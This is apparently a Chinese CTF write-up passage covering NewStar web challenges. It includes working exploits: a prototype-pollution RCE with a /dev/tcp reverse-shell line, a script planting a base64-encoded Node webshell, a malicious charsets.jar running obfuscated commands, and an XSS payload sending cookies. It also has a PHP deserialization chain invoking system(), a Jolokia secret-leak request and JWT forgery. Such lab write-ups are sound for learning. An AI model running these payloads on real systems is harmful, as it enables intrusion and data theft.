print(f"\n当前进度: {i} 字符 - 部分结果: {result[-20:]}...")

# 根据选择决定是否倒序输出
if reverse_result:
result = result[::-1]

print(f"\n{result_name}:")
print(result)

# 如果结果包含逗号分隔的多个值,进行格式化显示
if ',' in result:
print(f"\n格式化后的{result_name}:")
items = result.split(',')
for idx, item in enumerate(items, 1):
print(f"{idx}. {item}")

if __name__ == "__main__":
main()

运行得到flag

最后flag为

1
flag{NEWSTAR-CTF_2OZA1d65bd1d2d2f}

ezpollute

题目描述:

1
原型链污染,尝试 RCE 它?(建议本地打通以后再打远程)

开启环境

看一下部署文件Node.js 版本为 16,使用了 node-dev热部署启动

审计 index.js,/config路由下调用了 merge函数,merge函数意味着可能存在的原型链污染漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
router.post("/config", async (ctx) => {
jsonData = ctx.request.rawBody || "{}";
token = ctx.cookies.get("token");
if (!token) {
return (ctx.body = {
code: 0,
msg: "Upload Photo First",
});
}
const [err, userID] = decodeToken(token);
if (err) {
return (ctx.body = {
code: 0,
msg: "Invalid Token",
});
}
userConfig = JSON.parse(jsonData);
try {
finalConfig = clone(defaultWaterMarkConfig);
// 这里喵
merge(finalConfig, userConfig);
fs.writeFileSync(path.join(__dirname, "uploads", userID, "config.json"), JSON.stringify(finalConfig));
ctx.body = {
code: 1,
msg: "Config updated successfully",
};
} catch (e) {
ctx.body = {
code: 0,
msg: "Some error occurred",
};
}
});

merge函数在 /util/merge.js中,虽然过滤了 proto,但我们可以通过 constructor.prototype来绕过限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// /util/merge.js
function merge(target, source) {
if (!isObject(target) || !isObject(source)) {
return target;
}
for (let key in source) {
if (key === "__proto__") continue;
if (source[key] === "") continue;
if (isObject(source[key]) && key in target) {
target[key] = merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

/process路由调用了 fork,创建了一个 JavaScript 子进程用于水印添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
try {
await new Promise((resolve, reject) => {
// 这里喵
const proc = fork(PhotoProcessScript, [userDir], { silent: true });

proc.on("close", (code) => {
if (code === 0) {
resolve("success");
} else {
reject(new Error("An error occurred during execution"));
}
});

proc.on("error", (err) => {
reject(new Error(`Failed to start subprocess: ${err.message}`));
});
});
ctx.body = {
code: 1,
msg: "Photos processed successfully",
};
} catch (error) {
ctx.body = {
code: 0,
msg: "some error occurred",
};
}

结合之前的原型链污染漏洞,我们污染 NODE_OPTIONSenv,在 env 中写入恶意代码,fork在创建子进程时就会首先加载恶意代码,从而实现 RCE

1
2
3
4
5
6
7
8
9
10
11
payload = {
"constructor": {
"prototype": {
"NODE_OPTIONS": "--require /proc/self/environ",
"env": {
"A":"require(\"child_process\").execSync(\"bash -c \'bash -i >& /dev/tcp/ip/port 0>&1\'\")//"
}
}
}
}
# 需要注意在 Payload 最后面有注释符 `//`,这里的思路跟 SQL 注入很像

但是出不了网,有两种方法

方法一:覆盖static/script.js

exp:

1
{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\"child_process\").execSync(\"cp /flag static/script.js\").toString())//"}}}}

方法二:热部署

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import requests
import re
import base64
from time import sleep

url = "http://192.168.0.115:11417/"

# 获取 token
# 随便发送点图片获取 token
files = [
('images', ('anno.png', open('./a.png', 'rb'), 'image/png')),
('images', ('soyo.png', open('./b.png', 'rb'), 'image/png'))
]
res = requests.post(url + "/upload", files=files)
token = res.headers.get('Set-Cookie')
match = re.search(r'token=([a-f0-9\-\.]+)', token)
if match:
token = match.group(1)
print(f"[+] token: {token}")
headers = {
'Cookie': f'token={token}'
}

# 通过原型链污染 env 注入恶意代码即可 RCE

# 写入 WebShell
webshell = """
const Koa = require('koa')
const Router = require('koa-router')
const app = new Koa()
const router = new Router()

router.get("/webshell", async (ctx) => {
const {cmd} = ctx.query
res = require('child_process').execSync(cmd).toString()
return ctx.body = {
res
}
})

app.use(router.routes())
app.listen(3000, () => {
console.log('http://127.0.0.1:3000')
})
"""

# 将 WebShell 内容 Base64 编码
encoded_webshell = base64.b64encode(webshell.encode()).decode()

# Base64 解码后写入文件
payload = {
"constructor": {
"prototype": {
"NODE_OPTIONS": "--require /proc/self/environ",
"env": {
"A": f"require(\"child_process\").execSync(\"echo {encoded_webshell} | base64 -d > /app/index.js\")//"
}
}
}
}

# 原型链污染
requests.post(url + "/config", json=payload, headers=headers)

# 触发 fork 实现 RCE
try:
requests.post(url + "/process", headers=headers)
except Exception as e:
pass

sleep(2)
# 访问有回显的 WebShell
res = requests.get(url + "/webshell?cmd=cat /flag")
print(res.text)

运行得到

最后flag为

1
flag{NEWst@r-CTf_2OZA111b69be86c5}

ezcmsss

题目描述:

1
看看这个 CMS?

开启环境

在首页源码里找到提示,需要查看备份文件

访问 /www.zip获得源码备份文件,在 readme.txt获得jizhicms 版本号为 v1.9.5,在 start.sh 获得服务器初始化时使用的管理员账号和密码

同时在 start.sh 中有备注提示访问 admin.php进入管理页面,然后使用上面的账号密码登录

栏目管理 » 栏目列表 » 新增栏目 中添加附件,上传构造好的包含 PHP 马的压缩包

上传在图库管理找到路径

1
/static/upload/file/20250611/1749647172696720.zip

参考这篇文章

极致CMS后台远程文件下载RCE漏洞源码审计分析 - FreeBuf网络安全行业门户

下载恶意的插件包

1
action=start-download&filepath=dbrestore&download_url=http://127.0.0.1/static/upload/file/20250611/1749647172696720.zip

解压数据包

1
action=file-upzip&filepath=dbrestore

解压完的文件在 /A/exts

访问 /A/exts/shell.php

最后flag为

1
flag{N3Wst@r_ctf_Z0Z417b6f1bff5e2}

chocolate

题目描述:

1
吃块巧克力休息下

开启环境

随便输入得到

访问/0ldStar.php

八进制绕过检测,过滤了十六进制的字母以及小数的小数点

payload:

1
num=+02471

得到可可液块配量

1
1337033

把那串字符放进随波逐流一把梭

访问/cocoaButter_star.php

第一步一眼md5强碰撞

payload:

1
2
cat=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
dog=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

第二步科学计数法以及md5弱比较绕过

1
moew=0e215962017

第三步:要求 md5 加密后前五位符合要求,简单爆破

exp:

1
2
3
4
5
6
7
8
import hashlib

for i in range(0, 10000000):
m = hashlib.md5()
m.update(str(i).encode('utf-8'))
if m.hexdigest()[0:5] == '8031b':
print(i)
break

运行得到

payload:

1
wof=2306312

得到可可脂配量

1
202409

访问/final.php

直接传序列化后的内容,让 $cat===$kitty 即可

payload:

1
O:9:"chocolate":2:{s:3:"cat";s:3:"???";s:5:"kitty";s:3:"???";}

得到黑可可粉配量

1
51540

没有下一步的目录了,返回就差糖分配量,先锁定范围

看出来配量是一点点递减的,首先测试糖分是5000

糖分太高,说明在1-5000范围内,直接爆破

最后flag为

1
flag{nEWsT@r_CTF_ZO2A35d8f8a6c1f4}

隐藏的密码

题目描述:

1
caef11 有一个自己的文件备份平台,但是平台的密码似乎在哪里泄露了……你能找到他吗?

开启环境

根据题目隐藏的密码可能是存在信息泄露,进行目录扫描,可以扫到 env和 jolokia端点,可以找到 caef11.passwd 属性是隐藏的

payload:

1
2
3
4
POST /actuator/jolokia HTTP/1.1
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["caef11.passwd"]}

得到密码,登录

参考项目

LandGrey/spring-boot-upload-file-lead-to-rce-tricks: spring boot Fat Jar 任意写文件漏洞到稳定 RCE 利用技巧

搜索java的路径,这里刚好可以ls列目录

1
2
3
/usr/lib/jvm/java-8-oracle/jre/lib/
/usr/lib/jvm/java-1.8-openjdk/jre/lib/
/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/

上传charset.jar

重写IBM33722.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package sun.nio.cs.ext;

import java.util.UUID;


public class IBM33722 {
static {
fun();
}

public IBM33722() {
fun();
}

private static java.util.HashMap<String, String> fun() {
String[] command;

String random = UUID.randomUUID().toString().replace("-","").substring(1,9);
String osName = System.getProperty("os.name");
if (osName.startsWith("Mac OS")) {
command = new String[]{"/bin/bash", "-c", "open -a Calculator"};
} else if (osName.startsWith("Windows")) {
command = new String[]{"cmd.exe", "/c", "calc"};
} else {
if(new java.io.File("/bin/bash").exists()){
command = new String[]{"/bin/bash", "-c", "touch " + "/tmp/$({echo,Y2F0IC9mbGFnCg==}|{base64,-d}|{bash,-i})"};

}else{
command = new String[]{"/bin/sh", "-c", "touch " + "/tmp/$({echo,Y2F0IC9mbGFnCg==}|{base64,-d}|{bash,-i})"};
}
}
try{
java.lang.Runtime.getRuntime().exec(command);
java.lang.Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "touch " + "/tmp/charset_testErr0r233.log"});
}catch (Throwable e1){
e1.printStackTrace();
}
return null;
}


}

全编译完了塞jar包里

1
2
javac sun\nio\cs\ext\*.java
jar cvf charsets.jar *

第一个包去覆盖,第二个包去触发

触发

1
Accept: text/html;charset=GBK

查看 /tmp 目录得到flag

为了省事直接写脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

def upload_jar():
url = 'http://192.168.0.115:11452/upload'
with open('charsets.jar', 'rb') as f:
files = {'file': ('../../usr/local/openjdk-8/jre/lib/charsets.jar', f, 'application/java-archive')}
response = requests.post(url, files=files)
print(response.status_code)
print(response.text)

url2 = 'http://192.168.0.115:11452/ccd14bfa-33a9-328e-85ad-f5bb028f4d4c'
headers = {'Accept': 'text/html;charset=GBK'}
response2 = requests.get(url2, headers=headers)
print(response2.status_code)
print(response2.text)

upload_jar()

运行看到文件上传并触发

然后查看 /tmp 目录得到flag

最后flag为

1
flag{d3350ef4-3b91-40e6-9d6a-2f0c8d33193e}

PangBai 过家家(4)

题目描述:

1
PangBai 出院有一些日子了,加上住院期间经常看 MyGO!!!!! 的缘故,这些天来他心情比较低落,但今天已经能正常打 GoGo 了,看起来和她所说的一样,她是「高性能」的呢!可是我买菜回来时却看到她倒在地上,眉毛的样子像两个大括号,左眼呈现出「.User」,而右眼则是「PangBai」。

根据题目附件所给的 hint,只需关注 main.go 文件即可,文件中定义了一个静态文件路由和三个路由:

1
2
3
r.HandleFunc("/", routeIndex)
r.HandleFunc("/eye", routeEye)
r.HandleFunc("/favorite", routeFavorite)

main.gorouteEye 函数中发现了 tmpl.Execute 函数,通过分析,我们重点关注下面的代码片段:

1
2
3
4
5
tmplStr := strings.Replace(string(content), "%s", input, -1)
tmpl, err := template.New("eye").Parse(tmplStr)

helper := Helper{User: user, Config: config}
err = tmpl.Execute(w, helper)

我们的输入 input 会直接作为模板字符串的一部分,与 Python 的 SSTI 类似,我们可以使用 {{` `}} 来获取上下文中的数据。

1
2
3
4
5
GoLang 模板中的上下文

tmpl.Execute 函数用于将 tmpl 对象中的模板字符串进行渲染,第一个参数传入的是一个 Writer 对象,后面是一个上下文,在模板字符串中,可以使用 {{ . }} 获取整个上下文,或使用 {{ .A.B }} 进行层级访问。若上下文中含有函数,也支持 {{ .Func "param" }} 的方式传入变量。并且还支持管道符运算。

在本题中,由于 utils.go 定义的 Stringer 对象中的 String 方法,对继承他的每一个 struct,在转换为字符串时都会返回 [struct],所以直接使用 {{ . }} 返回全局的上下文结构会返回 [struct].

访问 /eye 路由,默认就是 {{ .User }} 和返回的信息。根据上面代码片段的内容,我们追溯 HelperConfig 两个结构体的结构:

1
2
3
4
5
6
7
8
9
10
11
type Helper struct {
Stringer
User string
Config Config
}

var config = Config{
Name: "PangBai 过家家 (4)",
JwtKey: RandString(64),
SignaturePath: "./sign.txt",
}

可以泄露出 JWT 的密钥,只需输入 {{ .Config.JwtKey }} 即可:

然后我们关注另一个路由 /favorite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
func routeFavorite(w http.ResponseWriter, r *http.Request) {

if r.Method == http.MethodPut {

// ensure only localhost can access
requestIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":")]
fmt.Println("Request IP:", requestIP)
if requestIP != "127.0.0.1" && requestIP != "[::1]" {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("Only localhost can access"))
return
}

token, _ := r.Cookie("token")

o, err := validateJwt(token.Value)
if err != nil {
w.Write([]byte(err.Error()))
return
}

if o.Name == "PangBai" {
w.WriteHeader(http.StatusAccepted)
w.Write([]byte("Hello, PangBai!"))
return
}

if o.Name != "Papa" {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("You cannot access!"))
return
}

body, err := ioutil.ReadAll(r.Body)
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
}
config.SignaturePath = string(body)
w.WriteHeader(http.StatusOK)
w.Write([]byte("ok"))
return
}

// render

tmpl, err := template.ParseFiles("views/favorite.html")
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
return
}

sig, err := ioutil.ReadFile(config.SignaturePath)
if err != nil {
http.Error(w, "Failed to read signature files: "+config.SignaturePath, http.StatusInternalServerError)
return
}

err = tmpl.Execute(w, string(sig))

if err != nil {
http.Error(w, "[error]", http.StatusInternalServerError)
return
}
}

可以看到 /favorite 路由下,网页右下角的内容实际上是一个文件读的结果,文件路径默认为 config.SignaturePath./sign.txt 的内容

而如果使用 PUT 请求,则可以修改 config.SignaturePath 的值,但需要携带使 Name(Token 对象中是 Name 字段,但是 JWT 对象中是 user 字段,可以在 utils.go 中的 validateJwt 函数中看到)为 Papa 的 JWT Cookie.

于是就有了解题思路:利用泄露的 JwtKey 伪造 Cookie,对 /favorite 发起 PUT 请求以修改 config.SignaturePath,然后访问 /favorite 获取文件读的内容。

然而 /favorite 中又强制要求请求必须来自于本地。

我们先签一个 JWT:

name值为Papa,密钥是之前的w9pWNmxB2nP4EUMCo8KklLowDyJZLG75s0WHzNBNcDdBEbkFMuDZ4xsp6W5mg3ZH

发送报文

1
2
3
4
5
6
7
PUT /favorite HTTP/1.1
Host: localhost:8000
Content-Type: text/plain
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NDk2NTg2MjQsInVzZXIiOiJQYXBhIn0.L630bhzlUic7G6g2TIGx410SAwoqgfWM4nVxQsvzCZg
Content-Length: 18

/proc/self/environ

显示ok

重新访问/favorite

最后flag为

1
flag{c7490012-fa93-3f90-b590-1ec84cc76416}

week5

PangBai 过家家(5)

题目描述:

1
量子之海出现了异常观测现象,博识学会评估,可能另一世界产生的崩坏能超过阈值,并极有可能溢出从而影响到其它世界。为了防止天使坠落,维斯达利斯通知学园都市立即召回所有对抗崩环能的第三批实验仿生对象。我的上级也立即召我回国,为第二十九次秩序大战做准备。尽管上级也支持我携带 PangBai 一同回归,但近些天来,我发觉 PangBai 突然变得沉默寡言,夜晚身体也发出微弱的光,若隐若现。事态的紧急使我已经无法顾及。长期以来的经验令我敏锐地感觉到,PangBai 或将成为这次崩坏能溢出引发的一系列事件中的主角。但我仍对与她的告别——也许是短暂的,抑或是永远,谁能预料呢——持乐观态度,毕竟没有人能够阻止这类事的发生,除非同谐能瞥见虚数之树下的她的掠影。只是这周结束后,不知多久才能与曾经的梦魇重逢。

开启环境

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import puppeteer from 'puppeteer';

let id = 0;

async function _visit(url: string) {
console.info(`[#${++id}] Received bot request`);

const browser = await puppeteer.launch({
headless: true,
args: [
'--disable-gpu',
"--no-sandbox",
'--disable-dev-shm-usage'
]
});

const page = await browser.newPage();

await page.setCookie({
name: 'FLAG',
value: process.env['FLAG'] || 'flag{test_flag}',
httpOnly: false,
path: '/',
domain: 'localhost:3000',
sameSite: 'Strict'
});

console.info(`[#${id}] Visiting ${url}`);

page.goto(url, { timeout: 3 * 1000 }).then(_ => {
setTimeout(async () => {
await page.close();
await browser.close();
console.info(`[#${id}] Visited`);
}, 5 * 1000);
})
}

export function visit(url: string) {
return _visit(url).then(_ => true).catch(e => (console.error(e), false));
}

export default visit;

一眼xss

1
<img src=# onerror=alert(1);//

可以绕过,不出网xss

自己post自己去写一封信

1
<img src=# onerror=fetch("/api/send",{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({"title":"123123123","content":document.cookie})});//

上传后发现信箱有信封了

查看123123123信封得到flag

预期做法应该是

bot.ts 可见,FLAG 在 Cookie 中:

1
2
3
4
5
6
7
8
await page.setCookie({
name: "FLAG",
value: process.env["FLAG"] || "flag{test_flag}",
httpOnly: false,
path: "/",
domain: "localhost:3000",
sameSite: "Strict",
});

我们直接输入 <script>alert(1)</script> 做测试,访问查看信件的界面,查看源码,发现输入被过滤了。

跟踪附件中的后端源码,page.ts 中的 /box/:id 路由,会渲染我们的输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
router.get("/box/:id", async (ctx, next) => {
const letter = Memory.get(ctx.params["id"]);
await ctx.render("letter", <TmplProps>{
page_title: "PangBai 过家家 (5)",
sub_title: "查看信件",
id: ctx.params["id"],
hint_text: HINT_LETTERS[Math.floor(Math.random() * HINT_LETTERS.length)],
data: letter
? {
title: safe_html(letter.title),
content: safe_html(letter.content),
}
: { title: TITLE_EMPTY, content: CONTENT_EMPTY },
error: letter ? null : "找不到该信件",
});
});

但是输入的内容都经过了 safe_html 过滤

1
2
3
4
5
6
function safe_html(str: string) {
return str
.replace(/<.*>/gim, "")
.replace(/<\.*>/gim, "")
.replace(/<.*>.*<\/.*>/gim, "");
}

可见这只是一个正则替换,正则中各个标志的作用:

  • i 标志:忽略大小写
  • g 标志:全局匹配,找到所有符合条件的内容
  • m 标志:多行匹配,每次匹配时按行进行匹配,而不是对整个字符串进行匹配(与之对应的是 s 标志,表示单行模式,将换行符看作字符串中的普通字符)

由于 m 的存在,匹配开始为行首,匹配结束为行尾,因此我们只需要把 <> 放在不同行即可,例如:

1
<script>alert(1)</script>

此时我们就能执行恶意代码了。直接使用 document.cookie 即可获取到 Bot 的 Cookie。 拿到 Cookie 之后,怎么回显呢?如果题目靶机是出网的,可以发送到自己的服务器上面;但是题目靶机并不出网,这时可以写一个 JavaScript 代码,模拟用户操作,将 Cookie 作为一个信件的内容提交(让 Bot 写信),这样我们就能查看到了。例如:

1
2
3
4
5
6
7
8
9
<script
>
fetch('/api/send', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({'title': "Cookie", 'content': document.cookie})
})
</script
>

注意

1
2
3
fetch 中的请求路径可以是相对路径、绝对路径等,因此上面忽略了 Origin,如果显示指定,必须和当前的 Origin 一样,否则存在跨域问题。从 bot.ts 中可以看到 Bot 访问的是 http://localhost:3000,因此使用 http://127.0.0.1:3000 是不行的。

把 Payload 提交之后,如果手动查看信件并点击「提醒 PangBai」,会触发两次 Payload,一次是你自己查看信件时触发的,一次是 Bot 触发的。

提交并「提醒 PangBai」之后,稍等一会,查看信箱,就可以看到内容了

最后flag为

1
flag{s@y0N@ra_pangB@i_J4nN235446596}

臭皮吹泡泡

题目描述:

1
我也喜欢吹泡泡

开启环境

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
error_reporting(0);
highlight_file(__FILE__);

class study
{
public $study;

public function __destruct()
{
if ($this->study == "happy") {
echo ($this->study);
}
}
}
class ctf
{
public $ctf;
public function __tostring()
{
if ($this->ctf === "phpinfo") {
die("u can't do this!!!!!!!");
}
($this->ctf)(1);
return "can can need";
}
}
class let_me
{
public $let_me;
public $time;
public function get_flag()
{
$runcode="<?php #".$this->let_me."?>";
$tmpfile="code.php";
try {
file_put_contents($tmpfile,$runcode);
echo ("we need more".$this->time);
unlink($tmpfile);
}catch (Exception $e){
return "no!";
}

}
public function __destruct(){
echo "study ctf let me happy";
}
}

class happy
{
public $sign_in;

public function __wakeup()
{
$str = "sign in ".$this->sign_in." here";
return $str;
}
}



$signin = $_GET['new_star[ctf'];
if ($signin) {
$signin = base64_decode($signin);
unserialize($signin);
}else{
echo "你是真正的CTF New Star 吗? 让我看看你的能力";
} 你是真正的CTF New Star 吗? 让我看看你的能力

在unlink之前触发catch异常防止删掉code.php

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
class study
{
public $study;

public function __destruct()
{
if ($this->study == "happy") {
echo ($this->study);
}
}
}
class ctf
{
public $ctf = "system('ls');";
public function __tostring()
{
if ($this->ctf === "phpinfo") {
die("u can't do this!!!!!!!");
}
($this->ctf)(1);
return "can can need";
}
}
class let_me
{
public $let_me;
public $time;
public function get_flag()
{
$runcode="<?php #".$this->let_me."?>";
$tmpfile="code.php";
try {
file_put_contents($tmpfile,$runcode);
echo ("we need more".$this->time);
unlink($tmpfile);
}catch (Exception $e){
return "no!";
}

}
public function __destruct(){
echo "study ctf let me happy";
}
}

class happy
{
public $sign_in;

public function __wakeup()
{
$str = "sign in ".$this->sign_in." here";
return $str;
}
}

$l = new let_me();
$c = new ctf();
$h = new happy();
$s = new study();
$l->let_me = "\n system('ls /');";
$l->time = $h;
$c->ctf = [$l, 'get_flag'];
$s->study = $c;
echo base64_encode(serialize($s));

运行得到

查看文件根目录

payload:

1
new[star[ctf=Tzo1OiJzdHVkeSI6MTp7czo1OiJzdHVkeSI7TzozOiJjdGYiOjE6e3M6MzoiY3RmIjthOjI6e2k6MDtPOjY6ImxldF9tZSI6Mjp7czo2OiJsZXRfbWUiO3M6MTc6Igogc3lzdGVtKCdscyAvJyk7IjtzOjQ6InRpbWUiO086NToiaGFwcHkiOjE6e3M6Nzoic2lnbl9pbiI7Tjt9fWk6MTtzOjg6ImdldF9mbGFnIjt9fX0=

查看flag

payload:

1
new[star[ctf=Tzo1OiJzdHVkeSI6MTp7czo1OiJzdHVkeSI7TzozOiJjdGYiOjE6e3M6MzoiY3RmIjthOjI6e2k6MDtPOjY6ImxldF9tZSI6Mjp7czo2OiJsZXRfbWUiO3M6MjI6Igogc3lzdGVtKCd0YWMgL2ZsYWcnKTsiO3M6NDoidGltZSI7Tzo1OiJoYXBweSI6MTp7czo3OiJzaWduX2luIjtOO319aToxO3M6ODoiZ2V0X2ZsYWciO319fQ==

最后flag为

1
flag{nEw5t4R-ctF_20Z418730145b3a8}

臭皮的网站

题目描述:

1
2
3
4
5
6
7
8
9
10
11
我写了 114 年 Python 😭

构建了 510 个网站😭

怎生的他这一个漏洞?😭

不,不不😭😭

那个网站我不要了……不要了……😭😭😭

你们别打……都别打了!😭😭😭😭😭

开启环境

查看网页源码

base解密

远程目录穿越读 /static/../../app/app.py

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
import subprocess
from aiohttp import web
from aiohttp_session import setup as session_setup, get_session
from aiohttp_session.cookie_storage import EncryptedCookieStorage
import os
import uuid
import secrets
import random
import string
import base64
random.seed(uuid.getnode())
# pip install -i https://pypi.tuna.tsinghua.edu.cn/simple aiohttp_session cryptography
# pip install -i https://pypi.tuna.tsinghua.edu.cn/simple aiohttp==3.9.1


adminname = "admin"


def CreteKey():
key_bytes = secrets.token_bytes(32)
key_str = base64.urlsafe_b64encode(key_bytes).decode('ascii')
return key_str


def authenticate(username, password):
if username == adminname and password ==''.join(random.choices(string.ascii_letters + string.digits, k=8)):
return True
else:
return False


async def middleware(app, handler):
async def middleware_handler(request):
try:
response = await handler(request)
response.headers['Server'] = 'nginx/114.5.14'
return response
except web.HTTPNotFound:
response = await handler_404(request)
response.headers['Server'] = 'nginx/114.5.14'
return response
except Exception:
response = await handler_500(request)
response.headers['Server'] = 'nginx/114.5.14'
return response

return middleware_handler


async def handler_404(request):
return web.FileResponse('./template/404.html', status=404)


async def handler_500(request):
return web.FileResponse('./template/500.html', status=500)


async def index(request):
return web.FileResponse('./template/index.html')


async def login(request):
data = await request.post()
username = data['username']
password = data['password']
if authenticate(username, password):
session = await get_session(request)
session['user'] = 'admin'
response = web.HTTPFound('/home')
response.session = session
return response
else:
return web.Response(text="账号或密码错误哦", status=200)


async def home(request):
session = await get_session(request)
user = session.get('user')
if user == 'admin':
return web.FileResponse('./template/home.html')
else:
return web.HTTPFound('/')


async def upload(request):
session = await get_session(request)
user = session.get('user')
if user == 'admin':
reader = await request.multipart()
file = await reader.next()
if file:
filename = './static/' + file.filename
with open(filename,'wb') as f:
while True:
chunk = await file.read_chunk()
if not chunk:
break
f.write(chunk)
return web.HTTPFound("/list")
else:
response = web.HTTPFound('/home')
return response
else:
return web.HTTPFound('/')


async def ListFile(request):
session = await get_session(request)
user = session.get('user')
command = "ls ./static"
if user == 'admin':
result = subprocess.run(command, shell=True, check=True, text=True, capture_output=True)
files_list = result.stdout
return web.Response(text="static目录下存在文件\n"+files_list)
else:
return web.HTTPFound('/')


async def init_app():
app = web.Application()
app.router.add_static('/static/', './static', follow_symlinks=True)
session_setup(app, EncryptedCookieStorage(secret_key=CreteKey()))
app.middlewares.append(middleware)
app.router.add_route('GET', '/', index)
app.router.add_route('POST', '/', login)
app.router.add_route('GET', '/home', home)
app.router.add_route('POST', '/upload', upload)
app.router.add_route('GET', '/list', ListFile)
return app


web.run_app(init_app(), host='0.0.0.0', port=80)

密码是随机的 8 位字符,用户名是 admin

代码审计,注意到这个密码其实是可以预测的,因为它的随机数种子来自于 mac 地址

读取 mac 地址

1
/static/../../sys/class/net/eth0/address

生成登录密码

exp:

1
2
3
4
import random
import string
random.seed(0x56c14cbab828)
print(''.join(random.choices(string.ascii_letters + string.digits, k=8)))

运行得到

登录系统

上传一个恶意的 ls 文件,然后访问 ls,触发这个恶意文件。

放行bp,得到文件名

读取 flag

最后flag为

1
flag{046b8aa8-715a-5d3a-822b-14e16fddf900}

ez_redis

题目描述:

1
你懂 Redis 肾透姿势吗

开启环境

dirseach扫描

访问/www.zip

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
include_once "./core.php";
?>
<html>
<head></head>
<link rel="stylesheet" href="/static/bulma.min.css" />
<body>
<div class="container card">
<div class="card-content">
<div class="columns">
<div class="column is-10">
<h1 class="title">Redis便携控制面板1.0</h1>
<form method="post">
<div class="field">
<label class="label">命令</label>
<div class="control">
<textarea class="textarea" name="eval"><?=isset($_POST['eval'])?$_POST['eval']:'return "newstar is u";'?></textarea>
<div class="control">
<input class="button is-success" type="submit" value="submit">
</div>
</form>
<?php
if(isset($_POST['eval'])){
$cmd = $_POST['eval'];
if(preg_match("/set|php/i",$cmd))
{
$cmd = 'return "u are not newstar";';
}
$example = new Redis();
$example->connect($REDIS_HOST);
$result = json_encode($example->eval($cmd));
echo '<h1 class="subtitle">结果</h1>';
echo "<pre>$result</pre>";
}
?>
</div>
</div>
<br/>
<div class="container card">
<div class="card-content">
<div class="columns">
<div class="column is-10"><a href="Redis_php.zip" class="card-footer-item">由Redis5强力驱动 by Zacarx</a></div>
</div>
<div class="content">
<ul>
<?php
for($i=0; $i<$_SESSION['history_cnt']; $i++){
echo "<li>".$_SESSION['history_'.$i]."</li>";
}
?>
</ul>
</div>
</div>
</div>
</div>
</body>
</html>

搜索 Redis 常⽤利⽤⽅法,发现如果过滤了 set php,那么我们很难通过写 webshell,写⼊计划任务、主从复制来进行 getshell

于是我们搜索⼀下 Redis 5 的历史漏洞

发现 CVE-2022-0543 值得⼀试: Redis Lua 沙盒绕过命令执行(CVE-2022-0543)

payload:

1
